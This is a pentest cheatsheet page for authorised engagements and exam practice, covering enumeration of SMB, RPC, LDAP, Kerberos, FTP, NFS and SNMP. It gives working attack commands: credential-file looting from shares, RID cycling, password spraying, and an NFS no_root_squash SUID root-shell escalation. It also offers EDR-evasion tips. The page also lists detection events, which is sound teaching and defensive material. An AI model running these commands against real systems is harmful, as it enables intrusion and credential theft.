daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

service-enumeration.md (71735B)


      1 ---
      2 title: "Stage 03 — Service Enumeration"
      3 description: "CPTS attack-flow reference for stage 03 — service enumeration in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 6
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-03", "pentest-workflow"]
      8 tools: ["NetExec", "enum4linux-ng", "rpcclient", "smbclient", "ldapsearch"]
      9 difficulty: intermediate
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/06 - Stage 03 - Service Enumeration.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 06 of 17 · **Focus:** Stage 03 — Service Enumeration
     17 >
     18 > **Previous:** [Foothold Toolkit — Shells, Payloads, and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) · **Next:** [Stage 04 — Active Directory Enumeration](/sheets/pentest-workflow/active-directory-enumeration)
     19 
     20 ---
     21 # 🗂️ STAGE 3 — SMB, RPC & Other-Service Enumeration
     22 
     23 Non-web, non-LDAP service enum. Every box: fire the null-session probes first — a working null session is worth as much as low-priv creds for enumeration. Then work each open service look-for → enumerate → exploit. Deep dives: Anonymous  Null Testing, SMBMAP, NetExec - SpiderPlus, Snaffler, NFS - Cheatsheet, 6 - Attacking SMB, 9 - Attacking DNS.
     24 
     25 ---
     26 
     27 ### ⏱️ 60-Second Triage — port → first 3 commands
     28 
     29 The "what do I run in the first minute" table. Full sections below; this is the fast pass over an nmap result. `$IP` = target, `$DOMAIN` = AD domain, `$DC` = domain controller.
     30 
     31 | Port(s) | Service | First 3 commands |
     32 | :-- | :-- | :-- |
     33 | 445/139 | SMB | `nxc smb $IP` · `nxc smb $IP -u '' -p '' --shares` · `smbclient -N -L //$IP` |
     34 | 135 | RPC | `rpcclient -N -U '' $IP -c 'enumdomusers'` · `rpcdump.py $IP` · `nxc smb $IP -u '' -p '' --rid-brute` |
     35 | 389/636 | LDAP(S) | `ldapsearch -x -H ldap://$IP -s base namingcontexts` · `nxc ldap $IP -u '' -p ''` · `windapsearch --dc $IP -U` |
     36 | 53 | DNS | `dig axfr $DOMAIN @$IP` · `dnsrecon -d $DOMAIN -n $IP` · `fierce --domain $DOMAIN --dns-servers $IP` |
     37 | 88 | Kerberos | `kerbrute userenum -d $DOMAIN --dc $DC users.txt` · `nxc smb $IP` (confirm DC) · `ldapsearch -x -H ldap://$DC -s base` |
     38 | 21 | FTP | `nxc ftp $IP -u 'anonymous' -p ''` · `ftp anonymous@$IP` · `nmap -sC -p21 $IP` |
     39 | 2049/111 | NFS | `showmount -e $IP` · `nmap --script nfs* -p111,2049 $IP` · `sudo mount -t nfs $IP:/ ./mnt -o nolock` |
     40 | 161/udp | SNMP | `onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP` · `snmpwalk -v2c -c public $IP` · `snmp-check -c public $IP` |
     41 | 25 | SMTP | `nmap -sC -p25 $IP` (smtp-commands) · `smtp-user-enum -M VRFY -U users.txt -t $IP` · `swaks --to test@$DOMAIN --server $IP` |
     42 | 110/143 | POP3/IMAP | `telnet $IP 110` (`USER` enum) · `nmap -sC -p110,143,993,995 $IP` · `curl -k "imaps://$IP" --user "$U:$P"` |
     43 | 1433 | MSSQL | `nxc mssql $IP -u "$U" -p "$P"` · `mssqlclient.py "$DOMAIN/$U:$P"@$IP -windows-auth` · `nmap --script ms-sql-info -p1433 $IP` |
     44 | 3306 | MySQL | `nxc mysql $IP -u "$U" -p "$P"` · `mysql -u root -h $IP` · `nmap -sC -p3306 $IP` |
     45 | 5432 | PostgreSQL | `psql -h $IP -U postgres` (blank/`postgres`) · `nxc pgsql $IP -u postgres -p postgres` · `nmap --script pgsql-brute -p5432 $IP` |
     46 | 6379 | Redis | `redis-cli -h $IP info` · `redis-cli -h $IP config get dir` · `nc $IP 6379` (banner) |
     47 | 27017 | MongoDB | `mongosh "mongodb://$IP:27017"` · `nmap --script mongodb-info -p27017 $IP` · `mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})'` |
     48 | 3389 | RDP | `nxc rdp $IP` (NLA check) · `nmap --script rdp-ntlm-info -p3389 $IP` · `xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore` |
     49 | 5985/5986 | WinRM | `nxc winrm $IP -u "$U" -p "$P"` · `evil-winrm -i $IP -u "$U" -p "$P"` · `nmap -sC -p5985,5986 $IP` |
     50 | 22 | SSH | `ssh-audit $IP` · `nmap -sC -p22 $IP` (hostkeys/auth) · `ssh $U@$IP` |
     51 | 5900+ | VNC | `nmap --script vnc-info,vnc-brute -p5900 $IP` · `vncviewer $IP:0` · `hydra -P passwords.txt $IP vnc` |
     52 | 23 | Telnet | `nc $IP 23` (banner) · `telnet $IP` · `nmap -sC -p23 $IP` |
     53 | 623/udp | IPMI | `nmap -sU -p623 --script ipmi-version $IP` · MSF `ipmi_dumphashes` · `ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list` |
     54 
     55 > [!tip] CPTS tip — the triage table is deliberately null/anonymous-only. If ANY of the three commands answers (shares list, users dump, AXFR succeeds, Redis `info` returns), stop scanning and mine that service before touching the next port. Low-hanging fruit rots fast in a timed exam.
     56 
     57 ---
     58 
     59 ### `> SMB — anonymous / null / guest (445 / 139)`
     60 
     61 **What to look for:** null or guest access, non-default shares (IT, Development, Finance, `profiles$`, CertEnroll), the domain + hostname, SMB signing state (relay potential), NTLM on/off. SMB enum maps to MITRE ATT&CK [T1135 Network Share Discovery](https://attack.mitre.org/techniques/T1135/) and [T1046 Network Service Discovery](https://attack.mitre.org/techniques/T1046/).
     62 
     63 **Enumerate:**
     64 ```bash
     65 nxc smb $IP                                  # OS, domain, hostname, signing, SMBv1, NTLM state
     66 nxc smb $IP -u '' -p '' --shares             # true null session
     67 nxc smb $IP -u 'guest' -p '' --shares        # guest account
     68 nxc smb $IP -u 'oxdf' -p '' --shares         # bogus creds sometimes list shares (Authority trick)
     69 smbclient -N -L //$IP                        # anon share list (Samba native)
     70 smbmap -H $IP -u '' -p ''                    # null-session share list + perms (READ/WRITE/NO ACCESS)
     71 rpcclient -N -U '' $IP                        # null RPC — then enumdomusers, querydispinfo
     72 ```
     73 
     74 **[NetExec](https://github.com/Pennyw0rth/NetExec) SMB flag cheat table** (the ones that matter for Stage 3):
     75 
     76 | Flag | Needs auth? | What it gives you |
     77 | :-- | :-- | :-- |
     78 | `--shares` | null sometimes | share names + READ/WRITE perms |
     79 | `--users` | null sometimes | user list via SAMR (no RID cycling) |
     80 | `--groups` | null sometimes | domain groups |
     81 | `--loggedon-users` | local admin | sessions on the host (spray targets) |
     82 | `--pass-pol` | null sometimes | lockout threshold — read BEFORE spraying |
     83 | `--rid-brute` | null sometimes | full user list via RID cycling (noisy) |
     84 | `--disks` | auth | disk inventory |
     85 | `-M spider_plus` | auth | recursive file inventory → JSON (see below) |
     86 | `--ntds` / `--sam` / `--lsa` | local admin | cred dumps (Stage 10 territory) |
     87 | `-x "cmd"` | local admin | command exec (SMB-only hosts, no AV bypass) |
     88 
     89 **Exploit / Attack:** a null session that lists users/shares feeds everything downstream — dump users → spraying, dump shares → loot, dump pass-pol → safe spray window.
     90 ```bash
     91 nxc smb $IP -u '' -p '' --users              # user list with no creds
     92 nxc smb $IP -u '' -p '' --groups             # groups, no creds
     93 nxc smb $IP -u '' -p '' --pass-pol           # lockout threshold BEFORE you spray
     94 nxc smb $DC -u '' -p '' --rid-brute          # RID-cycle users out of a null session (noisy)
     95 nxc smb $IP -u 'guest' -p '' --users --shares   # guest-account variant when true null fails
     96 ```
     97 
     98 **Null-session fallbacks when `nxc`/`rpcclient` null is refused** (Impacket one-shots — [impacket](https://github.com/fortra/impacket)):
     99 ```bash
    100 samrdump.py $IP                              # SAMR user list, tries null auth
    101 lookupsid.py $IP                             # SID→name RID cycling over null session
    102 lookupsid.py -no-pass guest@$IP              # guest-account RID cycling
    103 samrdump.py -no-pass guest@$IP               # guest SAMR dump
    104 ```
    105 > [!note] `lookupsid.py` and `samrdump.py` both honor `-no-pass` for an anonymous bind and will fall back through auth levels — they're the fastest "did null really die?" check, because nxc reports the *first* failure and stops.
    106 
    107 > [!warning] Watch out
    108 > - `STATUS_LOGON_FAILURE` = null blocked; `STATUS_ACCESS_DENIED` = authed-but-no-priv (still useful — auth works).
    109 > - `--rid-brute` / RID cycling spews **hundreds of Event ID 4625** — noisy, expect it on a monitored box.
    110 > - `NTLM:False` in the `nxc smb $IP` banner = NTLM disabled → use Kerberos everywhere from here (`-k`, `getTGT`).
    111 > - **Detection:** null/guest probing shows as Event ID **4624/4625 logon type 3** (network) on the target; share access adds **5140/5145**. Sequential probing of many hosts from one source IP is a trivial SOC correlation.
    112 > - SMBv1 in the banner = legacy host; on a 2003/XP-era box check EternalBlue (MS17-010) — but on anything modern it just flags an outdated build for the report.
    113 
    114 ---
    115 
    116 ### `> SMB — share listing, spidering & downloading`
    117 
    118 **What to look for:** writable shares, and inside them: `.kdbx` / `.psafe3`, `web.config`, `unattend.xml`, Groups.xml (GPP), `id_rsa`, `.ps1`/`.bat`, `.xlsx`, Ansible vaults, `.bak`.
    119 
    120 **Enumerate:**
    121 ```bash
    122 smbmap -H $IP -u "$U" -p "$P" -r             # recursive listing with per-share perms
    123 smbmap -H $IP -u "$U" -p "$P" -r 'Finance/Payroll' --depth 5   # dive one share deep
    124 nxc smb $IP -u "$U" -p "$P" --shares         # perms per share
    125 nxc smb $IP -u "$U" -p "$P" -M spider_plus   # read-only file inventory -> JSON
    126 smbclient //$IP/SHARE -U "$DOMAIN/$U%$P"     # interactive browse
    127 ```
    128 
    129 **smbclient quick reference** (inside the interactive shell):
    130 ```text
    131 ls                      # list
    132 cd IT\                  # move
    133 get script.ps1          # pull one file
    134 mget *.xml              # pull by pattern
    135 prompt OFF; recurse ON; mget *   # bulk-pull everything, no confirmation
    136 put shell.aspx          # upload (only if WRITE perm confirmed)
    137 ```
    138 Full usage: `smbclient //$IP/SHARE -U "$DOMAIN/$U%$P"`.
    139 
    140 **Exploit / Attack:** auto-loot. smbmap `-A` regex-downloads on hit; spider_plus with `READ_ONLY=false` pulls filtered files to `/tmp/nxc_spider_plus/<IP>/`.
    141 ```bash
    142 # smbmap regex auto-download (requires -r) — grab creds/config/keys
    143 smbmap -H $IP -u "$U" -p "$P" -r -A '(password|cred|secret|\.kdbx|id_rsa|\.config)' --depth 6 -q
    144 # smbclient bulk pull of a whole share
    145 smbclient //$IP/SHARE -U "$DOMAIN/$U%$P" -c 'prompt OFF; recurse ON; mget *'
    146 smbclient -N //$IP/SHARE -c 'prompt OFF; recurse ON; mget *'   # null-session variant
    147 # spider_plus targeted download, then grep the loot
    148 nxc smb $IP -u "$U" -p "$P" -M spider_plus -o READ_ONLY=false \
    149    PATTERN=password,cred,config,backup EXT=txt,xml,config,ini,kdbx,pem MAX_FILE_SIZE=10485760
    150 grep -r -i "password" /tmp/nxc_spider_plus/$IP/
    151 ```
    152 
    153 **What to hunt in the loot** (priority order):
    154 | File / pattern | Why |
    155 | :-- | :-- |
    156 | `web.config`, `appsettings.json` | DB connection strings, machine keys |
    157 | `unattend.xml`, `sysprep.xml` | local admin creds (cleartext or base64) |
    158 | `Groups.xml` (SYSVOL) | GPP `cpassword` → `gpp-decrypt` |
    159 | `.kdbx`, `.psafe3`, `.keychain` | password DBs → keepass2john → hashcat |
    160 | `*.ps1`, `*.bat`, `*.vbs` | hardcoded service creds in deploy scripts |
    161 | `id_rsa`, `*.pem`, `*.ppk` | SSH keys |
    162 | `*.xlsx`, `passwords.*` | spreadsheets named like they sound |
    163 
    164 > [!tip] Recon read-only first (`-M spider_plus` alone → JSON at `/tmp/nxc_spider_plus/<IP>_*.json`), `jq` the inventory to pick targets, *then* flip `READ_ONLY=false` with tight filters. Downloading everything is slow and loud.
    165 
    166 > [!warning] Watch out
    167 > - smbmap `-A` needs `-r` (lowercase); combining with legacy `-R` errors on current builds. Matches auto-download to your **CWD** — `cd` somewhere sane first.
    168 > - Deep recursion (`--depth > 3`) = high SMB read volume, flags DLP/EDR. Scope to one share when you can.
    169 > - Copying files (smbmap `--upload`, spider download) to admin shares (`C$`, `ADMIN$`) lights up EID 5140/5145 — prefer non-admin writable shares.
    170 > - MITRE: [T1552.001 Unsecured Credentials: Credentials In Files](https://attack.mitre.org/techniques/T1552/001/) — share looting is exactly this; note it in the report narrative.
    171 
    172 ---
    173 
    174 ### `> enum4linux-ng — one-pass SMB sweep`
    175 
    176 **What to look for:** the whole SMB picture in one shot — domain/workgroup, users, groups, shares, OS, and the password policy (JSON/YAML export you can feed downstream). [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) is the maintained Python rewrite of the legacy Perl [enum4linux](https://github.com/CiscoCXSecurity/enum4linux).
    177 
    178 **Enumerate:**
    179 ```bash
    180 enum4linux-ng -A $IP                          # full auto sweep (users, groups, shares, OS, pol)
    181 enum4linux-ng -A $IP -oA recon/enum4linux     # same + JSON/YAML export for tooling
    182 enum4linux-ng -A $IP -u "$U" -p "$P"          # authenticated — pulls far more
    183 enum4linux-ng -P $IP -oA ilfreight            # password policy only (do this before spraying)
    184 enum4linux-ng -U $IP    # users only
    185 enum4linux-ng -S $IP    # shares only
    186 enum4linux-ng -G $IP    # groups only
    187 enum4linux-ng -P -u '' -p '' $IP              # null-session pass-pol (172.16.5.5-style DC)
    188 ```
    189 
    190 **Flag cheat table:**
    191 
    192 | Flag | Meaning |
    193 | :-- | :-- |
    194 | `-A` | all simple enum (users, shares, groups, pol, OS, printers) |
    195 | `-U` | users | 
    196 | `-G` | groups |
    197 | `-S` | shares |
    198 | `-P` | password policy |
    199 | `-R` | RID cycling (range with `-r 500-1100`) |
    200 | `-oA <base>` | export JSON + YAML |
    201 | `-u/-p/-d` | creds / domain for authed enum |
    202 
    203 > [!note] `enum4linux-ng` (Python, maintained, `-oA` JSON/YAML) is the default over the original Perl `enum4linux`, which is effectively unmaintained and has no JSON output. On a plain box the legacy `enum4linux -a $IP` still works if `-ng` isn't installed.
    204 
    205 > [!warning] Watch out `-A`/`-a` includes RID cycling → hundreds of **Event ID 4625** failed-logon events. On a monitored target, run targeted flags (`-U -S -P`) instead of the full sweep.
    206 
    207 ---
    208 
    209 ### `> RPC — rpcdump, rpcclient enum & RID cycling (135 / 593)`
    210 
    211 **What to look for:** exposed RPC interfaces (the [rpcdump.py](https://github.com/fortra/impacket) interface list reveals *which* coercion endpoints a host answers — EFS/MS-EFSRPC, spooler/MS-RPRN, DFS/MS-DFSNM), full user list (even when SMB `--users` is blocked), group memberships, the domain SID, per-user detail (`querydispinfo` often leaks descriptions with passwords).
    212 
    213 **Enumerate — interface dump:**
    214 ```bash
    215 rpcdump.py $IP                                 # every registered RPC endpoint
    216 rpcdump.py $IP | grep -iE 'EFS|MS-RPRN|DFSNM'  # coercion surface check (relay section below)
    217 rpcdump.py $IP | grep -i spoolsv               # Print Spooler present -> printerbug possible
    218 ```
    219 
    220 **Enumerate — rpcclient cheat table** (all inside `rpcclient -N -U '' $IP`, or `-c '...'` one-shots):
    221 
    222 | Command | Returns |
    223 | :-- | :-- |
    224 | `srvinfo` | server role + OS build |
    225 | `enumdomusers` | all users (+ RIDs) |
    226 | `enumdomgroups` | domain groups |
    227 | `querydispinfo` | user detail — **DESCRIPTIONS** (creds land here) |
    228 | `getdompwinfo` | password policy (min length, lockout) |
    229 | `netshareenumall` | every share incl. hidden |
    230 | `queryuser 0x1f4` | detail on RID 500 (Administrator) |
    231 | `queryuser 0x460` | detail on RID 1120 (a real account) |
    232 | `querygroupmem 512` | Domain Admins members |
    233 | `lookupnames guest` | resolve name → SID (grab domain SID) |
    234 | `lookupsids <SID>` | resolve SID → name (RID cycling) |
    235 | `lsaenumsid` | trusted-domain SIDs |
    236 | `enumprinters` | shared printers |
    237 
    238 ```bash
    239 rpcclient -N -U '' $IP                         # null session, then interactive commands above
    240 # one-liners:
    241 rpcclient -N -U '' $IP -c 'enumdomusers'
    242 rpcclient -N -U '' $IP -c 'enumdomusers;enumdomgroups;netshareenumall'
    243 rpcclient -U "$DOMAIN/$U%$P" $IP -c 'querydispinfo'
    244 ```
    245 
    246 **Exploit / Attack — RID cycling** (recover users when `enumdomusers` is restricted): grab the domain SID via any known name, then brute the RIDs.
    247 ```bash
    248 # get the domain SID
    249 rpcclient -N -U '' $IP -c 'lookupnames guest'       # -> S-1-5-21-x-y-z-501
    250 # cycle RIDs 500-1100 against that SID -> resolve names
    251 for i in $(seq 500 1100); do \
    252   rpcclient -N -U '' $IP -c "lookupsids S-1-5-21-x-y-z-$i" 2>/dev/null | grep -v 'NONE'; done
    253 # or just let nxc / enum4linux-ng / impacket do it:
    254 nxc smb $IP -u '' -p '' --rid-brute
    255 lookupsid.py -no-pass guest@$IP
    256 ```
    257 
    258 > [!tip] Common RIDs: **500** Administrator, **501** Guest, **512** Domain Admins, **513** Domain Users, **1000+** real user accounts. Pull the 1000+ names into `users.txt` for AS-REP roasting / spraying in [Stage 05](/sheets/pentest-workflow/kerberos-attacks).
    259 
    260 > [!warning] Watch out `rpcdump.py` is read-only and quiet; `rpcclient` enum is logon type 3 traffic (4624/4625). RID cycling against a DC is one of the loudest enumeration moves available — thousands of 4625s in a tight window.
    261 
    262 ---
    263 
    264 ### `> LDAP(S) — anonymous binds (389 / 636 / 3268 GC)`
    265 
    266 **What to look for:** an anonymous bind that answers — a lot of older/AD-integrated boxes (and nearly every HTB AD box's "intended path" start) let you read the whole directory with **no creds**. MITRE [T1087 Account Discovery](https://attack.mitre.org/techniques/T1087/) / [T1069 Permission Groups Discovery](https://attack.mitre.org/techniques/T1069/). Deep credentialed enum lives in [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) — this block is the *unauthenticated* slice.
    267 
    268 **Enumerate — quick one-liners:**
    269 ```bash
    270 # 1) base probe — returns naming contexts if anonymous bind works at all
    271 ldapsearch -x -H ldap://$IP -s base namingcontexts
    272 # 2) full anonymous dump of the domain naming context
    273 ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" | tee ldap-anon.txt
    274 # 3) targeted: users only, readable attributes
    275 ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \
    276   "(&(objectClass=user))" sAMAccountName description memberOf
    277 # 4) password policy (from the domain head)
    278 ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \
    279   -s base "(objectClass=domainDNS)" minPwdLength lockoutThreshold lockOutObservationWindow
    280 # 5) global catalog on a DC (forest-wide, port 3268)
    281 ldapsearch -x -H ldap://$IP:3268 -b "DC=inlanefreight,DC=local" "(objectClass=user)" sAMAccountName
    282 # nxc sanity check on the same surface
    283 nxc ldap $IP -u '' -p ''
    284 ```
    285 
    286 **Tooling for bigger dumps** (all handle auth when you have it — Stage 04 uses these credentialed):
    287 - [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) — `ldapdomaindump -u "$DOMAIN\\$U" -p "$P" ldap://$IP` → HTML/JSON/grep-able directory dump (users, groups, computers, trusts).
    288 - [windapsearch](https://github.com/ropnop/windapsearch) — `windapsearch --dc $IP -U` (users), `-G` (groups), `-C` (computers); add `-u "$U@$DOMAIN" -p "$P"` when authed.
    289 - [ldeep](https://github.com/franc-pentest/ldeep) — modern Python enum: `ldeep ldap -u "$U" -p "$P" -d "$DOMAIN" -s ldap://$IP all out/`.
    290 
    291 **Exploit / Attack:** the description/info fields are the classic leak — admins document passwords there. Grep your dump:
    292 ```bash
    293 grep -iE "passw|pwd|creds?|key" ldap-anon.txt
    294 grep -B2 -A2 -i "description" ldap-anon.txt
    295 ```
    296 
    297 > [!warning] Watch out
    298 > - `ldap_bind: Invalid credentials (49)` on the base probe = anonymous bind disabled — normal on hardened domains; move to credentialed enum (Stage 04) or null-session SMB instead.
    299 > - LDAP signing/channel-binding hardening only matters for **relay**, not for direct binds — don't conflate the two.
    300 > - Non-DC hosts also speak LDAP (exchange, apps, printers) — an anonymous bind on an *app* server can leak a service account's cleartext password in a `userPassword` attribute.
    301 > - LDAPS (636) with `ldapsearch` needs `-H ldaps://$IP` and often `-o ldif-wrap=no` plus cert-ignoring via `LDAPTLS_REQCERT=never` env var.
    302 
    303 ---
    304 
    305 ### `> Kerberos — username enumeration without creds (88/udp+tcp)`
    306 
    307 **What to look for:** the KDC telling you which usernames exist *for free* — a non-existent user returns `KDC_ERR_C_PRINCIPAL_UNKNOWN`, a valid one returns `KDC_ERR_PREAUTH_REQUIRED` (or a ticket). MITRE [T1589.001 Gather Victim Identity: Credentials](https://attack.mitre.org/techniques/T1589/001/). This is the bridge into [Stage 05](/sheets/pentest-workflow/kerberos-attacks).
    308 
    309 > [!tools] Stage this
    310 > [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc))
    311 > [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc))
    312 
    313 **Enumerate — [kerbrute](https://github.com/ropnop/kerbrute):**
    314 ```bash
    315 # Linux build — userenum does NOT cause lockouts (it only requests AS-REQs
    316 # against names; no failed logons are recorded for non-existent users)
    317 ./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid-users.txt
    318 # quick sanity with a tiny list first
    319 ./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN top100.txt
    320 ```
    321 
    322 **`userenum` vs `passwordspray` — the safe-vs-lockout note:**
    323 
    324 | Mode | What it does | Lockout risk |
    325 | :-- | :-- | :-- |
    326 | `userenum` | AS-REQ per *name* only | **None** for invalid names; valid names with pre-auth log 4768 preauth-failures only if you go further |
    327 | `passwordspray` | one real password against every valid user | **Yes** — counts against the domain lockout threshold; read `--pass-pol` first |
    328 
    329 ```bash
    330 # only AFTER nxc smb $DC --pass-pol tells you the threshold (Stage 8 does the spraying)
    331 ./kerbrute_linux_amd64 passwordspray --dc $DC -d $DOMAIN valid-users.txt 'Spring2026!'
    332 ```
    333 
    334 > [!tip] No valid users yet? Build the list from what Stage 3 already gave you: SMB `--users`/RID-cycling output, LDAP dump, SMTP VRFY results, or generate candidates with [username-anarchy](https://github.com/urbanadventurer/username-anarchy) from real names. `valid-users.txt` feeds AS-REP roasting (`GetNPUsers.py`) and kerberoast-targeting in Stage 05.
    335 
    336 > [!warning] Watch out User-enum AS-REQs against invalid names log **4768** with "failure" status on the DC in audited environments, and a fast `userenum` over a big wordlist is a distinctive burst — throttle with `--threads 5` on monitored targets.
    337 
    338 ---
    339 
    340 ### `> Snaffler — credential hunting across shares`
    341 
    342 **What to look for:** once you have any domain user, Snaffler walks every readable share on every domain host and triages hits: **Black** (`.kdbx`, `.ppk`, private keys, vaults), **Red** (`.pfx`/`.p12`, configs with creds), **Yellow** (web.config, scripts, connection strings), **Green** (interesting extensions). Runs as the current user — even low-priv finds SYSVOL, IT scripts, dept shares. MITRE [T1552 Unsecured Credentials](https://attack.mitre.org/techniques/T1552/) + [T1083 File and Directory Discovery](https://attack.mitre.org/techniques/T1083/).
    343 
    344 > [!tools] Stage this
    345 > [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc))
    346 
    347 **Enumerate / Run** (drop `Snaffler.exe` on the target — or better, `execute-assembly` it from your C2 — and run in the domain user's context):
    348 ```powershell
    349 .\Snaffler.exe -s -o snaffler.log                              # console + log, auto-discover via LDAP
    350 .\Snaffler.exe -s -o snaffler.log -d $DOMAIN -c $DC            # pin domain + DC
    351 .\Snaffler.exe -s -o snaffler.log -a                           # SHARE-ONLY recon first (fast, low noise)
    352 .\Snaffler.exe -s -o snaffler.tsv -y                           # TSV for parsing
    353 ```
    354 
    355 Typical exam flow: `-a` to map shares in seconds → `-i \\FS01\IT_Scripts` to scope → full run on the scoped shares → triage Black/Red.
    356 
    357 **Exploit / Attack:** triage the log, pull the Black/Red hits, crack/reuse.
    358 ```bash
    359 grep -E "\[(Black|Red)\]" snaffler.log        # highest-value first
    360 grep "\.kdbx" snaffler.log                     # KeePass DBs -> keepass2john -> hashcat
    361 grep -i "connectionstring" snaffler.log        # DB creds in configs
    362 # GPP cpassword found in SYSVOL Groups.xml:
    363 gpp-decrypt <cpassword_base64>
    364 ```
    365 
    366 > [!tip] `-a` share-only recon before the full file scan lets you scope to interesting shares with `-i "\\FS01\IT_Scripts"`, cutting time-on-target and noise. Use `-f` (DFS-only) for extra stealth. The standalone Windows-side companion for non-domain share hunting is [PowerHuntShares](https://github.com/NetSPI/PowerHuntShares).
    367 
    368 > [!warning] Watch out Snaffler generates **significant** SMB traffic across many hosts (EID 5140/5145, rapid `NetShareEnumAll`) and `Snaffler.exe` is signatured by most EDR — prefer `execute-assembly` in-memory over dropping the binary. On a production engagement, agree the scope before a full-domain run; it *will* appear in file-access dashboards.
    369 
    370 ---
    371 
    372 ### `> FTP — anonymous (21)`
    373 
    374 **What to look for:** anonymous login, then KeePass/Password-Safe DBs, backups, config dumps, notes hinting at the password policy (`SeasonYear!`).
    375 
    376 **Enumerate:**
    377 ```bash
    378 nxc ftp $IP -u 'anonymous' -p ''             # 230 = anon allowed, 530 = blocked
    379 nxc ftp $IP -u '' -p ''
    380 ftp anonymous@$IP                             # interactive (nmap ftp-anon flags this too)
    381 nxc ftp $IP -u 'anonymous' -p '' --ls        # non-interactive listing
    382 ```
    383 
    384 **Exploit / Attack:** pull everything — set **binary** before grabbing DBs/archives or they corrupt.
    385 ```bash
    386 # interactive: binary ; prompt OFF ; mget *
    387 ftp anonymous@$IP
    388 # scripted grab-all:
    389 echo -e "user anonymous\npass\nbinary\nprompt OFF\nmget *\nquit" | ftp -n $IP
    390 nxc ftp $IP -u 'anonymous' -p '' --get file.kdbx
    391 ```
    392 
    393 > [!warning] Watch out Always `binary` before pulling `.kdbx` / `.psafe3` / `.zip` / DB files — ASCII mode mangles them. Empty-string password (`-p ''`) and literal `anonymous` both work; some servers want an email as the password.
    394 
    395 ---
    396 
    397 ### `> NFS — showmount, mount, no_root_squash (2049 / 111)`
    398 
    399 **What to look for:** exported shares (NFSv3 has **no auth of its own** — trust is pure UID/GID), readable files, and dangerous export options in `/etc/exports`: `rw`, `insecure`, `nohide`, and the jackpot **`no_root_squash`**. MITRE [T1135 Network Share Discovery](https://attack.mitre.org/techniques/T1135/).
    400 
    401 **Enumerate:**
    402 ```bash
    403 showmount -e $IP                              # list exports, no creds needed
    404 sudo nmap --script nfs* $IP -sV -p111,2049    # exports + contents + perms + stats
    405 ```
    406 
    407 **Exploit / Attack:** mount, read with **raw numeric** UID/GID (the truth), impersonate the owner locally to read files. With `no_root_squash` + a shell on the box → local root.
    408 ```bash
    409 mkdir target-NFS
    410 sudo mount -t nfs $IP:/ ./target-NFS -o nolock     # mount whole tree (nolock avoids hangs)
    411 ls -n ./target-NFS/mnt/nfs/                          # RAW UID/GID — plan impersonation
    412 find ./target-NFS -ls                                # hunt readable loot
    413 sudo useradd -u 1000 loameuser                       # recreate owning UID to read its files
    414 # --- no_root_squash privesc (attacker is real root locally) ---
    415 cp /bin/bash ./target-NFS/mnt/nfs/rootbash
    416 sudo chown root:root ./target-NFS/mnt/nfs/rootbash
    417 sudo chmod +s ./target-NFS/mnt/nfs/rootbash
    418 # then on the TARGET's low-priv shell:
    419 /mnt/nfs/rootbash -p                                 # -p preserves SUID euid -> root shell
    420 sudo umount ./target-NFS                             # clean up
    421 ```
    422 
    423 > [!warning] Watch out `no_root_squash` is the whole point — it lets a remote-root-created file keep UID/GID 0, so a root-owned SUID binary in the share runs as root on the target. The safe default `root_squash` maps remote root to `nobody` and blocks this. `ls -l` resolves names via your **local** `/etc/passwd` and lies — always use `ls -n`.
    424 
    425 ---
    426 
    427 ### `> SNMP — community strings (161/udp)`
    428 
    429 **What to look for:** SNMP v1/v2c use plaintext community strings (`public` RO, `private` RW). A valid string leaks system info, running processes, installed software, **local user accounts**, network interfaces, sometimes creds in process args.
    430 
    431 **Enumerate:**
    432 ```bash
    433 onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP   # brute strings (https://github.com/trailofbits/onesixtyone)
    434 snmpwalk -v2c -c public $IP                   # full walk (slow, tons of output — sift it) — net-snmp: https://github.com/net-snmp/net-snmp
    435 snmpwalk -v1  -c public $IP                   # try v1 too — some boxes only answer v1 (Pandora)
    436 snmp-check -c public $IP                      # structured dump: users, processes, software, netstat
    437 ```
    438 
    439 **Exploit / Attack:** target the useful OIDs instead of drowning in a full walk.
    440 ```bash
    441 snmpwalk -v2c -c public $IP 1.3.6.1.2.1.1              # system: hostname, uptime, contact
    442 snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2         # running processes (creds in args!)
    443 snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3         # installed software
    444 snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25      # Windows user accounts
    445 ```
    446 
